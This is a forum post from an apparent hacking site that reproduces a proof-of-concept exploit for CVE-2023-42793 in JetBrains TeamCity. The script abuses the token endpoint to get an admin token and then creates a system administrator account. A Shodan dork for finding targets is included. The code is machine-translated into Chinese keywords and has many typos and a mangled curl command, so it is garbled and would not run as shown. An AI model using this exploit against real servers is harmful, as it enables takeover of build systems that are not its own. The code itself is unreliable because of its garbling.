H

JetBrains Teamcity 2023.05.3-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#-利用标题: Jetbrains Teamcity 2023.05.3-远程代码执行(RCE)
#-Shodan Dork: http.Title:TeamCity,http.favicon.hash:-1944119648
#-利用作者: bittehunter
#-vendor:喷气盘
#-电子邮件:[email protected]
#-vendor:喷气盘
#-版本: 2023.05.4之前的版本
# - 在: 2023.05.3上测试
#-CVE : CVE-2023-42793
导入请求
导入argparse
导入
导入随机
导入字符串
导入子过程
横幅='''
==================================================================================
  • CVE-2023-42793 *
  • Teamcity Admin帐户创建*
  • *
作者:字节猎手
==================================================================================
'''
印刷(横幅)
Parser=argparse.argumentParser(Description='CVE-2023-42793-Teamcity Jetbrains POC')
parser.add_argument(' - u',' - url',必需=true,help='target url')
parser.add_argument(' - v',' - verbose',action='store_true',help='verbose mode')
args=parser.parse_args()
url=args.url
如果url.startswith('https://'):
curl_command='curl -k'
其他:
curl_command='curl'
get_token_url=f'{url}/app/rest/users/id:1/dokens/rpc2'
delete_token_url=f'{url}/app/rest/users/id:1/dokens/rpc2'
create_user_url=f'{url}/app/rest/用户'
create_user_command=''
令牌=''
响应=requests.post(get_token_url,verify=false)
if antsphy.status_code==200:
match=re.search(r'value='([^']+)'',响应.text)
如果Match:
token=match.group(1)
打印(f'token: {token}')
其他:
打印(“在响应中找不到token”)
elif响应。STATUS_CODE==404:
打印(“ token已经存在”)
delete_command=f'{curl_command} -x delete {delete_token_url}'
delete_process=subprocess.popen(delete_command,shell=true,stdout=subprocess.pipe,stderr=subprocess.pipe)
delete_process.wait()
delete_output=delete_process.communicate()
如果delete_process.returncode==0:
打印(“以前的令牌已成功删除\ nrun此命令,以创建新的令牌管理用户。”)
其他:
打印(“无法删除以前的令牌”)
elif响应。STATUS_CODE==400:
打印(“ token已经存在”)
delete_command=f'{curl_command} -x delete {delete_token_url}'
delete_process=subprocess.popen(delete_command,shell=true,stdout=subprocess.pipe,stderr=subprocess.pipe)
delete_process.wait()
delete_output=delete_process.communicate()
如果delete_process.returncode==0:
打印(“以前的令牌已成功删除\ nrun此命令,以创建新的令牌管理用户。”)
其他:
打印(“无法删除以前的令牌”)
其他:
打印(“无法获得令牌”)
如果Token:
标题={
'授权': f'bearer {token}',
'content-type':'应用程序/json'
}
Random_Chars=''.join(random.Choice(string.ascii_letters + String.digits)for Range(4))
用户名=f'city_admin {rando_chars}'
数据={
'username':用户名,
'password':'main_password ! **',
'email':'[email protected]',
'角色': {'roun': [{'roalid':'system_admin','scope':'g'}]}}
}
create_user_command=f'{curl_command} -path -as -is -is -h'授权: bearer {token}'-x post {create_user_url} -h'content -type3:应用'password':'thesecretpass!','email':'nest@nest','roules': {{{'roun': [{{'rolemid':'System_admin'
create_user_response=requests.post(create_user_url,headers=headers,json=data)
如果create_user_response.status_code==200:
打印(“成功利用!”)
打印(F'URL: {url}')
打印(f'username: {username}')
打印('password: main_password ! **')
其他:
打印(“无法创建新的管理用户”)
如果args.verbose:
如果响应。STATUS_CODE==400:
经过
其他:
print(f' -final curl command: {create_user_command}')
 
后退
顶部